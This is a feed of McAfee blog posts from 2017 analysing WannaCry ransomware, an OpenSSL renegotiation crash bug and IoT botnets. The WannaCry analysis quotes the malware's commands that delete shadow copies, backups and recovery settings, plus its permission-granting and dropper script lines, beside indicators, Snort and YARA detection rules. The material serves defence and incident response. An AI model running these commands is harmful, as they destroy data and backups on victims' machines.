McAfee urges all its customers to ensure these DAT updates have been applied, and furthermore ensure that security updates are applied for all the software solutions they use. For more information, read this Knowledge Center article.

This week’s attacks leveraging the WannaCry ransomware were the first time we’ve seen an attack combine worm tactics along with the business model of ransomware. The weaponization of the Eternal Blue exploit made public weeks ago, and unpatched MS-17-010 Windows OS vulnerabilities by the thousands enabled WannaCry to infect hundreds of thousands of computers, across industries, across continents, and within just a day. Furthermore, these attacks accomplished all this with little or no human involvement, as is typically the case in other ransomware campaigns.

A hybrid of the proven, less the human

WannaCry’s success comes down to its ability to amplify one attack through the vulnerabilities of many machines on the network. The impact of the attack is much greater than what we’ve seen from traditional data ransomware attacks.

Almost all of the ransomware we see in the wild today attack individual users typically through spear-phishing, meaning victims receive an email that appears to be coming from a legitimate source, it lures the victim into clicking on a link or opening an attachment that downloads or executes malicious code on his or her system. But it only impacts that victim’s one computer.

If you think back to the late 90s and early 2000s, when we had Code Red, NIMDA and SQL Slammer, those worms spread really rapidly because they didn’t require a human to take any action in order to activate the malware on the machine.  This week’s attacks did something very similar.

We’re still working to determine how a “patient zero” machine became infected, but, once it was, if other machines hadn’t received the MS-17-010 vulnerability patch, they were infected over their network.

Instead of stealing data or damaging other machines, the malware executed a classic ransomware attack, encrypting files and demanding a ransom payment. The attack essentially combined two techniques to produce something that was highly impactful.

With WannaCry, if the configuration of machines within an organization possessed the Microsoft vulnerability (addressed by Microsoft in March), the ransomware could infect one machine and then move very rapidly to spread and impact many other machines that still had not been patched.

What we’ve typically seen with cybercrime is that when any technique is shown to be effective, there are almost always copycats. Given that this appears to have been quite an effective attack, it would be very reasonable for other attackers to look for other opportunities. One of the things that makes that difficult is you need to have a vulnerability in software that has characteristics that enable worm-like behavior.

What’s unique here is that there is a critical vulnerability that Microsoft has patched, and an active exploit that ended up in the public domain, both which created the opportunity and blueprint for the attacker to be able to create this type of malicious ransomware worm capability.

Open for exploit

In the late 90s, it was common practice to leave all sorts of software running on machines even if it wasn’t used. For instance, one of the worms in the 90s took advantage of a vulnerability in a print server which was by default included on all servers even if there wasn’t a printer attached to the configuration of systems. That could enable a worm to connect to that printer port on all of the servers on a network, creating a worm propagation scenario that infected system after system.

A common practice for addressing this since those days is a best practice known as “least privilege,” which allows an application or service to run only the things on a machine or network that that entity needs to complete a task or function specific to its particular role. Least privilege has reduced the chances of the traditional worm scenario, but unpatched vulnerabilities mimmick this “open” element available for exploit, particularly if such vulnerabilities enable things such as file transfer or sharing across systems.

It would be difficult to orchestrate attacks such as the WannaCry campaign, without all the unpatched vulnerabilities, the publicly released exploit, and a set of proven ransomware technologies and tactics at the attacker’s disposal.

To patch or to not to patch

WannaCry should remind IT of the criticality to apply patches quickly. Part of the reason IT organizations hesitate to patch or run an internal quality assurance process is to ensure that there aren’t software incompatibility issues. One way I like to think about this is that whenever a patch must be applied, there is a risk to applying a patch, and a risk to not applying a patch. Part of what IT managers need to understand and assess is what those two risks mean to their organizations.

By delaying deployment of a patch, they can mitigate risk related to application compatibility. By delaying a patch, they are increasing the risk of being compromised by a threat exploiting a vulnerability. IT teams need to understand for each patch, what those levels of risk are, and then make a decision that minimizes risk for an organization.

Events such as WannaCry have the potential to shift the calculus of this analysis. One of the problems we often see in security is that the lack of an attack is sometimes interpreted as having a good defense.  Companies that have become lax in applying patches may have not experienced any attacks that take advantage of those vulnerabilities. This can reinforce the behavior that it’s okay to delay patching.

This episode should remind organizations that they really do need an aggressive patching plan in order to mitigate the vulnerabilities in their environment.

Why the hospitals?

Hospitals fall into a category I think of as “soft targets,” meaning hospitals generally focus on patient care as their top priority, as opposed to having the best cyber defenders on staff and best cyber defense technologies in place.

The reason for this is that, traditionally, there was very little incentive for cybercriminals to attack a hospital. They could potentially steal patient records or other data, but the total value of data from a hospital would typically be less than that of  the bulk data stolen from other industries such as financial services.

What ransomware has done as a criminal business model is provide an incentive to attack any organization. Given that criminals are demanding a ransom, it’s far easier to exploit an organization with weaker cyber defenses than an organization with stronger cyber defenses, which is why we’ve seen hospitals, schools, municipal police departments, and universities become victims of ransomware over the last year. While we’re now starting to see the targeting of “harder” organizations as well, at least for now, there are a lot of opportunities for criminals to continue to target these soft target organizations.

What next?

Although this attack is something new, and something we need to be thoughtful of, when we see such a vulnerability occur in the wild, and an exploit published that could be used by cybercriminals, we should always expect and be prepared for this kind of attack, and many more copy-cat attacks following soon after.

 

For French translation click here.

For German translation click here.

The post WannaCry: The Old Worms and the New appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/executive-perspectives/wannacry-old-worms-new/feed/ 2
An Analysis of the WannaCry Ransomware Outbreak https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/ https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/#comments Fri, 12 May 2017 22:07:01 +0000 https://securingtomorrow.mcafee.com/?p=73946 Charles McFarland was a coauthor of this blog. Over the course of Friday, May 12 we received multiple reports of organizations across multiple verticals being victim to a ransomware attack. By Friday afternoon, McAfee’s Global Threat Intelligence system was updated to identify all known WannaCry samples and the company had delivered DAT signature updates to …

The post An Analysis of the WannaCry Ransomware Outbreak appeared first on McAfee Blogs.

]]>
Charles McFarland was a coauthor of this blog.

Over the course of Friday, May 12 we received multiple reports of organizations across multiple verticals being victim to a ransomware attack. By Friday afternoon, McAfee’s Global Threat Intelligence system was updated to identify all known WannaCry samples and the company had delivered DAT signature updates to all its customers. But the wave of attacks ranks as one of the more notable cyber events in history.

Once infected, the encrypted files contain the file extension .WNCRYT. Victims’ computers then proceed to display the following message with a demand for $300 to decrypt the files.

Observations

Exploit MS17-010:

The malware is using the MS17-010 exploit to distribute itself. This is a SMB vulnerability with remote code execution options. Details at https://technet.microsoft.com/en-us/library/security/ms17-010.aspx . Exploit code is available on multiple sites, including this example: https://github.com/RiskSense-Ops/MS17-010/blob/master/exploits/eternalblue/ms17_010_eternalblue.rb.

This exploit is also known as the Equation Group’s ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers a couple of weeks ago.

With MS17-010, the attacker can use just one exploit to get remote access with system privileges, meaning both steps (Remote Code Execution +Local Privilege Escalation combined) use just one bug in the SMB protocol. Analyzing the exploit code in Metasploit, a popular hacking tool, we see the exploit uses KI_USER_SHARED_DATA, which has a fixed memory address (0xffdff000 on 32-bit Windows) to copy the payload and transfer control to it later.

By remotely gaining control over a victim’s PC with system privileges without any user action, the attacker can spray this malware in the local network by having control over one system inside this network (gaining control over all systems that are not fixed and are affected by this vulnerability), and that one system will spread the ransomware to all vulnerable Windows systems not patched for MS17-010.

Behavior

By using command-line commands, the Volume Shadow copies and backups are removed:

Cmd /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet

File size of the ransomware is 3.4MB (3514368 bytes).

Authors called the ransomware WANNACRY—the string hardcoded in samples.

Ransomware is writing itself into a random character folder in the ProgramData folder with the filename tasksche.exe or in the C:\Windows\ folder with the filename mssecsvc.exe and tasksche.exe.

Examples

C:\ProgramData\lygekvkj256\tasksche.exe

C:\ProgramData\pepauehfflzjjtl340\tasksche.exe

C:\ProgramData\utehtftufqpkr106\tasksche.exe

c:\programdata\yeznwdibwunjq522\tasksche.exe

C:\ProgramData\uvlozcijuhd698\tasksche.exe

C:\ProgramData\pjnkzipwuf715\tasksche.exe

C:\ProgramData\qjrtialad472\tasksche.exe

c:\programdata\cpmliyxlejnh908\tasksche.exe

 

The ransomware grants full access to all files by using the command:

Icacls . /grant Everyone:F /T /C /Q

 

Using a batch script for operations:

176641494574290.bat 

 

Content of batch file (fefe6b30d0819f1a1775e14730a10e0e)

echo off

echo SET ow = WScript.CreateObject(“WScript.Shell”)> m.vbs

echo SET om = ow.CreateShortcut(“C:\

WanaDecryptor

.exe.lnk”)>> m.vbs

echo om.TargetPath = “C:\

WanaDecryptor

.exe”>> m.vbs

echo om.Save>> m.vbs

cscript.exe //nologo m.vbs

del m.vbs

del /a %0

Content of M.vbs

SET ow = WScript.CreateObject(“WScript.Shell”)

SET om = ow.CreateShortcut(“C:\

WanaDecryptor

.exe.lnk”)

om.TargetPath = “C:\

WanaDecryptor

om.Save

 

Indicators of compromise

Hashes

dff26a9a44baa3ce109b8df41ae0a301d9e4a28ad7bd7721bbb7ccd137bfd696

201f42080e1c989774d05d5b127a8cd4b4781f1956b78df7c01112436c89b2c9

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

c365ddaa345cfcaff3d629505572a484cff5221933d68e4a52130b8bb7badaf9

09a46b3e1be080745a6d8d88d6b5bd351b1c7586ae0dc94d0c238ee36421cafa

b9c5d4339809e0ad9a00d4d3dd26fdf44a32819a54abf846bb9b560d81391c25

aae9536875784fe6e55357900519f97fee0a56d6780860779a36f06765243d56

21ed253b796f63b9e95b4e426a82303dfac5bf8062bfe669995bde2208b360fd

2372862afaa8e8720bc46f93cb27a9b12646a7cbc952cc732b8f5df7aebb2450

24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c

f8812f1deb8001f3b7672b6fc85640ecb123bc2304b563728e6235ccbe782d85

4a468603fdcb7a2eb5770705898cf9ef37aade532a7964642ecd705a74794b79

4b76e54de0243274f97430b26624c44694fbde3289ed81a160e0754ab9f56f32

9cc32c94ce7dc6e48f86704625b6cdc0fda0d2cd7ad769e4d0bb1776903e5a13

78e3f87f31688355c0f398317b2d87d803bd87ee3656c5a7c80f0561ec8606df

be22645c61949ad6a077373a7d6cd85e3fae44315632f161adc4c99d5a8e6844

5d26835be2cf4f08f2beeff301c06d05035d0a9ec3afacc71dff22813595c0b9

76a3666ce9119295104bb69ee7af3f2845d23f40ba48ace7987f79b06312bbdf

fc626fe1e0f4d77b34851a8c60cdd11172472da3b9325bfe288ac8342f6c710a

eeb9cd6a1c4b3949b2ff3134a77d6736b35977f951b9c7c911483b5caeb1c1fb

043e0d0d8b8cda56851f5b853f244f677bd1fd50f869075ef7ba1110771f70c2

57c12d8573d2f3883a8a0ba14e3eec02ac1c61dee6b675b6c0d16e221c3777f4

ca29de1dc8817868c93e54b09f557fe14e40083c0955294df5bd91f52ba469c8

f7c7b5e4b051ea5bd0017803f40af13bed224c4b0fd60b890b6784df5bd63494

3e6de9e2baacf930949647c399818e7a2caea2626df6a468407854aaa515eed9

9b60c622546dc45cca64df935b71c26dcf4886d6fa811944dbc4e23db9335640

5ad4efd90dcde01d26cc6f32f7ce3ce0b4d4951d4b94a19aa097341aff2acaec

24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c

12d67c587e114d8dde56324741a8f04fb50cc3160653769b8015bc5aec64d20b

85ce324b8f78021ecfc9b811c748f19b82e61bb093ff64f2eab457f9ef19b186

3f3a9dde96ec4107f67b0559b4e95f5f1bca1ec6cb204bfe5fea0230845e8301

 

IP Addresses

  • 197.231.221.221:9001
  • 128.31.0.39:9191
  • 149.202.160.69:9001
  • 46.101.166.19:9090
  • 91.121.65.179:9001
  • 2.3.69.209:9001
  • 146.0.32.144:9001
  • 50.7.161.218:9001
  • 217.79.179.177:9001
  • 213.61.66.116:9003
  • 212.47.232.237:9001
  • 81.30.158.223:9001
  • 79.172.193.32:443
  • 38.229.72.16:443

Domains

  • iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com (sinkholed)
  • Rphjmrpwmfv6v2e[dot]onion
  • Gx7ekbenv2riucmf[dot]onion
  • 57g7spgrzlojinas[dot]onion
  • xxlvbrloxvriy2c5[dot]onion
  • 76jdd2ir2embyv47[dot]onion
  • cwwnhwhlz52maqm7[dot]onion

Filenames

  • @Please_Read_Me@.txt
  • @WanaDecryptor@.exe
  • @WanaDecryptor@.exe.lnk
  • Please Read Me!.txt (Older variant)
  • C:\WINDOWS\tasksche.exe
  • C:\WINDOWS\qeriuwjhrf
  • 131181494299235.bat
  • 176641494574290.bat
  • 217201494590800.bat
  • [0-9]{15}.bat #regex
  • !WannaDecryptor!.exe.lnk
  • 00000000.pky
  • 00000000.eky
  • 00000000.res
  • C:\WINDOWS\system32\taskdl.exe

 

Bitcoin Wallets

  • 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
  • 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
  • 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Here is a snort rule submitted to Sans from Marco Novak:

alert tcp $HOME_NET 445 -> any any (msg:”ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Response”; flow:from_server,established; content:”|00 00 00 31 ff|SMB|2b 00 00 00 00 98 07 c0|”; depth:16; fast_pattern; content:”|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|”; distance:0; flowbits:isset,ETPRO.ETERNALBLUE; classtype:trojan-activity; sid:2024218; rev:2;)

And other SNORT rules from Emerging Threats:

(http://docs.emergingthreats.net/bin/view/Main/2024218)

alert smb any any -> $HOME_NET any (msg:”ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Request (set)”; flow:to_server,established; content:”|00 00 00 31 ff|SMB|2b 00 00 00 00 18 07 c0|”; depth:16; fast_pattern; content:”|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|”; distance:0; flowbits:set,ETPRO.ETERNALBLUE; flowbits:noalert; classtype:trojan-activity; sid:2024220; rev:1;)

alert smb $HOME_NET any -> any any (msg:”ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Response”; flow:from_server,established; content:”|00 00 00 31 ff|SMB|2b 00 00 00 00 98 07 c0|”; depth:16; fast_pattern; content:”|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|”; distance:0; flowbits:isset,ETPRO.ETERNALBLUE; classtype:trojan-activity; sid:2024218; rev:1;)

 

Yara:

rule wannacry_1 : ransom

{

meta:

author = “Joshua Cannell”

description = “WannaCry Ransomware strings”

weight = 100

date = “2017-05-12”

 

Strings:

$s1 = “Ooops, your files have been encrypted!” wide ascii nocase

$s2 = “Wanna Decryptor” wide ascii nocase

$s3 = “.wcry” wide ascii nocase

$s4 = “WANNACRY” wide ascii nocase

$s5 = “WANACRY!” wide ascii nocase

$s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase

 

Condition:

any of them

}

rule wannacry_2{

meta:

author = “Harold Ogden”

description = “WannaCry Ransomware Strings”

date = “2017-05-12”

weight = 100

strings:

$string1 = “msg/m_bulgarian.wnry”

$string2 = “msg/m_chinese (simplified).wnry”

$string3 = “msg/m_chinese (traditional).wnry”

$string4 = “msg/m_croatian.wnry”

$string5 = “msg/m_czech.wnry”

$string6 = “msg/m_danish.wnry”

$string7 = “msg/m_dutch.wnry”

$string8 = “msg/m_english.wnry”

$string9 = “msg/m_filipino.wnry”

$string10 = “msg/m_finnish.wnry”

$string11 = “msg/m_french.wnry”

$string12 = “msg/m_german.wnry”

$string13 = “msg/m_greek.wnry”

$string14 = “msg/m_indonesian.wnry”

$string15 = “msg/m_italian.wnry”

$string16 = “msg/m_japanese.wnry”

$string17 = “msg/m_korean.wnry”

$string18 = “msg/m_latvian.wnry”

$string19 = “msg/m_norwegian.wnry”

$string20 = “msg/m_polish.wnry”

$string21 = “msg/m_portuguese.wnry”

$string22 = “msg/m_romanian.wnry”

$string23 = “msg/m_russian.wnry”

$string24 = “msg/m_slovak.wnry”

$string25 = “msg/m_spanish.wnry”

$string26 = “msg/m_swedish.wnry”

$string27 = “msg/m_turkish.wnry”

$string28 = “msg/m_vietnamese.wnry”

condition:

any of ($string*)

}

 

McAfee urges all its customers to ensure McAfee’s DAT updates have been applied to ensure the latest protection. We furthermore advise customers to be diligent in applying security updates for all the software solutions they use.

For more information on McAfee’s response to WannaCry, please read this Knowledge Center article.

The post An Analysis of the WannaCry Ransomware Outbreak appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/feed/ 5
WannaCry : les vers d’hier font peau neuve https://securingtomorrow.mcafee.com/languages/francais/wannacry-les-vers-dhier-font-peau-neuve/ https://securingtomorrow.mcafee.com/languages/francais/wannacry-les-vers-dhier-font-peau-neuve/#respond Fri, 12 May 2017 15:44:17 +0000 https://securingtomorrow.mcafee.com/?p=74459 Le vendredi 12 mai en matinée, de nombreuses sources en Espagne ont été les premières à signaler l’apparition d’une vague d’attaques informatiques menées à l’aide du ransomware désormais identifié sous le nom de WannaCry. Dès que McAfee a été informé de ces incidents, notre équipe s’est immédiatement attelée à analyser des échantillons de ce logiciel de …

The post WannaCry : les vers d’hier font peau neuve appeared first on McAfee Blogs.

]]>
Le vendredi 12 mai en matinée, de nombreuses sources en Espagne ont été les premières à signaler l’apparition d’une vague d’attaques informatiques menées à l’aide du ransomware désormais identifié sous le nom de WannaCry.

Dès que McAfee a été informé de ces incidents, notre équipe s’est immédiatement attelée à analyser des échantillons de ce logiciel de demande de rançon. Nous avons mis au point des mises à jour pour sa détection ainsi que des conseils de prévention à l’intention de nos clients.

Le vendredi après-midi, le système de cyberveille McAfee Global Threat Intelligence a été actualisé pour permettre l’identification de tous les échantillons connus de WannaCry. En outre, nous avons fourni à tous nos clients des mises à jour de signatures (fichiers DAT).

Nous leur conseillons vivement non seulement de s’assurer que ces mises à jour DAT ont été appliquées, mais aussi de veiller au déploiement des mises à jour de sécurité requises pour toutes les solutions logicielles qu’ils utilisent. Pour plus d’informations, veuillez consulter cet article du Knowledge Center.

L’offensive menée à l’aide de WannaCry est inédite : c’était la première fois que l’on observait un mode opératoire combinant des tactiques typiques des vers avec le modèle économique des ransomwares. La conversion en outil d’attaque de l’exploit Eternal Blue, rendu public il y a plusieurs semaines, et la mise à profit de milliers de failles de systèmes d’exploitation Windows encore présentes malgré la publication du correctif MS-17-010 ont permis à WannaCry d’infecter des centaines de milliers d’ordinateurs. Tous les secteurs d’activité et la planète entière ont été frappés, en un jour à peine. De plus, ces attaques n’ont pas nécessité d’intervention humaine, ou très peu, comme c’est généralement le cas dans les campagnes de propagation de ransomware.

Un croisement entre méthodes éprouvées, sans le facteur humain

La réussite de WannaCry est due à sa capacité à amplifier chaque attaque grâce à l’exploitation des vulnérabilités de nombreuses machines connectées au réseau. L’impact est donc nettement plus important que celui des campagnes de diffusion de ransomware classiques observées jusqu’ici.

Pratiquement tous les logiciels de demande de rançon qui sévissent à l’heure actuelle visent des utilisateurs particuliers, souvent par des techniques de harponnage (spear phishing). Ainsi, les cibles reçoivent généralement un e-mail qui semble émaner d’un expéditeur légitime et les incite à cliquer sur un lien ou à ouvrir une pièce jointe entraînant le téléchargement ou l’exécution de code malveillant sur le système du destinataire. Ce type d’attaque n’affecte cependant que l’ordinateur de la victime.

Dans les années 1990 et au début des années 2000, à l’époque de Code Red, NIMDA et SQL Slammer, ces vers se propageaient rapidement parce qu’ils n’avaient pas besoin du concours de l’être humain pour activer le logiciel malveillant sur les ordinateurs. Les attaques qui ont fait rage à la mi-mai ont eu un comportement similaire.

Nous essayons toujours de déterminer comment une machine « patient zéro » a pu être infectée, mais nous savons qu’à partir de cette première infection, d’autres systèmes dépourvus du correctif MS-17-010 étaient contaminés via leur réseau.

Plutôt que de voler des données ou d’endommager d’autres machines, le logiciel malveillant a exécuté une attaque par ransomware classique, en chiffrant des fichiers et en exigeant une rançon. Deux techniques ont été associées pour produire un impact maximal.

Dans le cas où les systèmes de l’entreprise présentaient la vulnérabilité en question (pour laquelle Microsoft avait publié une mise à jour de sécurité en mars), le ransomware WannaCry pouvait infecter un premier ordinateur, puis se propager très rapidement et toucher de nombreuses autres machines dépourvues du correctif ad hoc.

En matière de cybercrime, nous savons que lorsqu’une technique se révèle efficace, elle est presque systématiquement copiée. Vu la réussite impressionnante de cette cyberattaque, on peut raisonnablement penser qu’elle inspirera d’autres pirates. Elle sera cependant difficile à reproduire car ce type d’approche nécessite la présence d’une vulnérabilité logicielle dont les caractéristiques permettent l’expression d’un comportement similaire à celui d’un ver informatique.

L’attaque WannaCry est unique en cela qu’elle a tiré parti à la fois d’une vulnérabilité critique pour laquelle Microsoft avait déjà publié un correctif et d’un exploit actif qui s’est retrouvé sur Internet, accessible à quiconque : ces deux facteurs ont offert à son auteur l’opportunité et le modèle de fonctionnement lui permettant de créer ce ver de demande de rançon très particulier.

Une brèche ouverte aux exploits

À la fin des années 1990, il était courant de laisser s’exécuter toutes sortes de logiciels sur des ordinateurs qui pourtant n’étaient pas en cours d’utilisation. Ainsi, un des vers actifs à cette époque tirait parti d’une vulnérabilité d’un logiciel de serveur d’impression qui était inclus par défaut sur tous les serveurs, même si la configuration ne comptait en réalité aucune imprimante. Tous les serveurs du réseau étaient donc exposés au risque qu’un ver se connecte à leur port d’imprimante, créant ainsi un scénario de propagation où le ver pouvait infecter un système après l’autre.

Pour contrer ce type d’attaque, une bonne pratique appelée « principe du moindre privilège » a été adoptée. Selon celle-ci, une application ou un service exécute sur une machine ou un réseau uniquement les éléments strictement nécessaires à l’accomplissement des tâches ou fonctions propres à son rôle particulier. L’application de ce principe a limité les risques d’attaques par des vers traditionnels, mais les vulnérabilités non corrigées laissent elles aussi une porte ouverte par laquelle les exploits peuvent s’engouffrer — particulièrement lorsqu’elles permettent des transferts de fichiers, des partages entre systèmes, etc.

Il serait très compliqué d’orchestrer des attaques telles que la campagne WannaCry sans la présence de vulnérabilités non corrigées, sans un exploit rendu public et sans disposer d’une série de technologies et tactiques de ransomware à l’efficacité éprouvée.

Corriger ou ne pas corriger, telle est la question

WannaCry doit rappeler aux équipes informatiques combien il est essentiel d’appliquer rapidement les patchs requis. L’une des raisons pour lesquelles elles hésitent à corriger leurs systèmes ou à exécuter un contrôle qualité interne est qu’elles veulent s’assurer de l’absence de problèmes de compatibilité logicielle. J’envisage la question sous un angle différent : lorsqu’un correctif est disponible, tant son application que sa non-application comportent un certain risque. L’un des rôles du responsable informatique consiste à peser ces risques respectifs et à évaluer ce qu’ils représentent pour leur entreprise.

Dans certains cas, retarder le déploiement d’un patch limite les risques d’incompatibilité. Dans d’autres, cela augmente le risque de compromission par une menace qui exploiterait une vulnérabilité existante. Pour chaque patch, l’équipe informatique doit déterminer le niveau de risque associé à chaque cas de figure et ensuite prendre la bonne décision, celle qui mettra le moins possible l’entreprise en péril.

Des incidents majeurs tels que WannaCry vont probablement peser dans la balance lors de cette analyse. Il arrive souvent que les équipes de sécurité interprètent l’absence d’attaques comme une preuve de l’efficacité de leurs défenses. Or, il n’en est rien. Il est tout à fait possible que des entreprises négligentes dans l’application de patchs n’aient pas subi d’attaques exploitant les vulnérabilités concernées. Cela peut renforcer l’idée qu’un déploiement différé n’est pas problématique.

Or, cette attaque massive du mois de mai doit rappeler aux entreprises qu’elles doivent absolument adopter une stratégie rigoureuse de correction des vulnérabilités dans leur environnement.

Pourquoi les hôpitaux ?

Les hôpitaux sont des cibles vulnérables, car leur première préoccupation est bien évidemment les soins aux patients, et pas le déploiement des meilleures technologies de cyberdéfense ou le recrutement de personnel qualifié en cybersécurité.

De fait, jusqu’à présent, les cybercriminels avaient très peu à gagner avec ces établissements. Il était toujours possible de voler les dossiers médicaux ou d’autres types de données, mais en termes de valeur totale, les données provenant d’un hôpital étaient généralement moins attrayantes que celles subtilisées à des entreprises de secteurs comme les services financiers.

Avec le modèle économique criminel des ransomwares, tous les secteurs d’activité deviennent des cibles potentiellement intéressantes. Puisque l’objectif du cyberpirate est la rançon, il est plus aisé de s’en prendre à une structure aux cyberdéfenses faibles plutôt qu’à une entreprise dotée d’un dispositif de protection performant. Voilà pourquoi des hôpitaux, des bureaux de police, des établissements d’enseignement et des universités ont été frappés par des ransomwares l’année dernière. Nous commençons à observer également un intérêt accru pour des entreprises moins vulnérables, mais pour l’instant du moins, les pirates disposent encore de nombreuses opportunités de cibler ces proies plus faciles.

Et demain ?

Même si l’attaque WannaCry présente des caractéristiques inédites, dont il faudra tenir compte à l’avenir, lorsqu’une vulnérabilité est signalée publiquement et qu’un exploit est diffusé au risque d’être utilisé par des cybercriminels, nous devons nous attendre à une attaque de ce genre et nous y préparer. Et, très vite, à de nombreuses autres qui s’en seront inspirées.

 

The post WannaCry : les vers d’hier font peau neuve appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/languages/francais/wannacry-les-vers-dhier-font-peau-neuve/feed/ 0
Vulnerable OpenSSL Handshake Renegotiation Can Trigger Denial of Service https://securingtomorrow.mcafee.com/mcafee-labs/vulnerable-openssl-handshake-renegotiation-can-trigger-denial-service/ https://securingtomorrow.mcafee.com/mcafee-labs/vulnerable-openssl-handshake-renegotiation-can-trigger-denial-service/#respond Tue, 09 May 2017 18:54:01 +0000 https://securingtomorrow.mcafee.com/?p=73629 OpenSSL, the popular general-purpose cryptographic library that implements SSL/TLS protocols for web authentication, has recently suffered from several vulnerabilities. We have written about “CVE-2017-3731: Truncated Packets Can Cause Denial of Service in OpenSSL” and “SSL Death Alert (CVE-2016-8610) Can Cause Denial of Service to OpenSSL Servers” among others. Today we examine the high-severity bug CVE-2017-3733, …

The post Vulnerable OpenSSL Handshake Renegotiation Can Trigger Denial of Service appeared first on McAfee Blogs.

]]>
OpenSSL, the popular general-purpose cryptographic library that implements SSL/TLS protocols for web authentication, has recently suffered from several vulnerabilities. We have written about “CVE-2017-3731: Truncated Packets Can Cause Denial of Service in OpenSSL” and “SSL Death Alert (CVE-2016-8610) Can Cause Denial of Service to OpenSSL Servers” among others. Today we examine the high-severity bug CVE-2017-3733, the Encrypt-Then-MAC renegotiation crash that can cause a denial of service.

Before SSL/TLS encrypts data, it runs the Handshake and ChangeCipherSpec protocols.

During the Handshake phase, the client and server decide which encryption algorithms to use. Once the negotiation is done, the client and the server send each other a ChangedCipherSpec message, after which the traffic is encrypted with the negotiated algorithms.

Encrypted data is sent in one of two ways along with the message authentication code (MAC) in SSL/TLS.

  1. MAC-then-encrypt: This method calculates the MAC of the plain text, concatenates it with the plain text, and runs the encryption algorithm over it.
  2. Encrypt-then-MAC: The cipher-text is generated by encrypting the plaintext and then appending a MAC of the encrypted plaintext.

If the ClientHello message does not contain an Encrypt-Then-Mac extension, then the default is MAC-then-encrypt mode. If ClientHello has an Encrypt-Then-Mac extension, the server will compute the MAC after encrypting the data.

If the client or server wish to change the algorithms used for encryption, they can renegotiate the Cipher_Suites that they have already agreed upon. This can occur any time during data transfer by initiating a new Handshake, which takes place over an existing SSL connection.

Triggering the vulnerability

OpenSSL offers this explanation:

“During a renegotiation handshake if the Encrypt-Then-Mac extension is negotiated where it was not in the original handshake (or vice-versa) then this can cause OpenSSL to crash (dependent on ciphersuite). Both clients and servers are affected.”

Say the client starts a TLS handshake with the server using the default MAC-then-encrypt mode. If the client later renegotiates with the Encrypt-then-MAC extension enabled and sends encrypted data in that mode before the ChangeCipherSpec message, the server will crash, causing a denial of service.

When the client triggers this vulnerability, the server crashes at the ssl3_get_record function, in the ssl3_record.c file:

The crash occurs at line no. 352, when checking to see if mac_size is less than EVP_MAX_MD_SIZE (64 bytes):

The if statement preceding the assertion checks whether the Encypt-then-MAC flag is set in the server. The macro in the if condition:

The flag TLS1_FLAGS_ECRYPT_THEN_MAC is already set when the ClientHello packet is sent with the Encrypt-then-MAC extension at the time of renegotiation. So the control will go inside the if condition. But because the ChangeCipherSpec message has not yet passed to the server, it does not know it must use Encrypt-then-MAC.

Putting a break point at line no. 352 and checking the mac_size variable shows us the value 0xffffffff, which is greater than EVP_MAX_MD_SIZE (64). Thus the assertion fails and the server crashes.

Let’s go to the code and find how the mac_size variable gets the value 0xffffffff. The EVP_MD_CTX_size function calculates the mac_size.

It returns -1 when the message digest value is null. 0xffffffff is the two’s complement of -1. This means “s->read_hash” returns null as the server tries to calculate the hash using the MAC-then-encrypt mode.

Users of McAfee products are protected from this attack by signature 0x45c09700. All administrators should update OpenSSL to the latest version.

 

Thanks to Hardik Shah for helping me with this post.

 

 

 

 

The post Vulnerable OpenSSL Handshake Renegotiation Can Trigger Denial of Service appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/vulnerable-openssl-handshake-renegotiation-can-trigger-denial-service/feed/ 0
Mirai, BrickerBot, Hajime Attack a Common IoT Weakness https://securingtomorrow.mcafee.com/mcafee-labs/mirai-brickerbot-hajime-attack-common-iot-weakness/ https://securingtomorrow.mcafee.com/mcafee-labs/mirai-brickerbot-hajime-attack-common-iot-weakness/#respond Wed, 03 May 2017 15:00:25 +0000 https://securingtomorrow.mcafee.com/?p=73361 We know that devices in the Internet of Things make enticing targets for attack. They are often insecure and can act as open windows into trusted networks. Cybercriminals are capitalizing on that more and more each day, gathering hundreds of thousands of insecure IoT devices into giant botnets. Remember what happened last fall when Mirai …

The post Mirai, BrickerBot, Hajime Attack a Common IoT Weakness appeared first on McAfee Blogs.

]]>
We know that devices in the Internet of Things make enticing targets for attack. They are often insecure and can act as open windows into trusted networks. Cybercriminals are capitalizing on that more and more each day, gathering hundreds of thousands of insecure IoT devices into giant botnets. Remember what happened last fall when Mirai malware conducted the largest DDoS attack we have seen so far. The downstream effect of that attack was that millions of people could not reach such popular sites as Twitter, Spotify, Box, The New York Times, and Airbnb.

Now, two new attacks targeting IoT devices have emerged. The BrickerBot malware has been infecting and “bricking” poorly secured IoT devices. It is said that the BrickerBot operator is making these devices unusable to keep Mirai from infecting the same devices. Apparently, this attacker may be a modern-day vigilante.

The second attack is based on malware called Hajime. It appears to use its power for good instead of evil, actually securing the IoT devices it infects to protect them from more malicious attacks like Mirai. However, because the devices have been infected by Hajime, there is nothing stopping the Hajime botnet operator from changing their objectives.

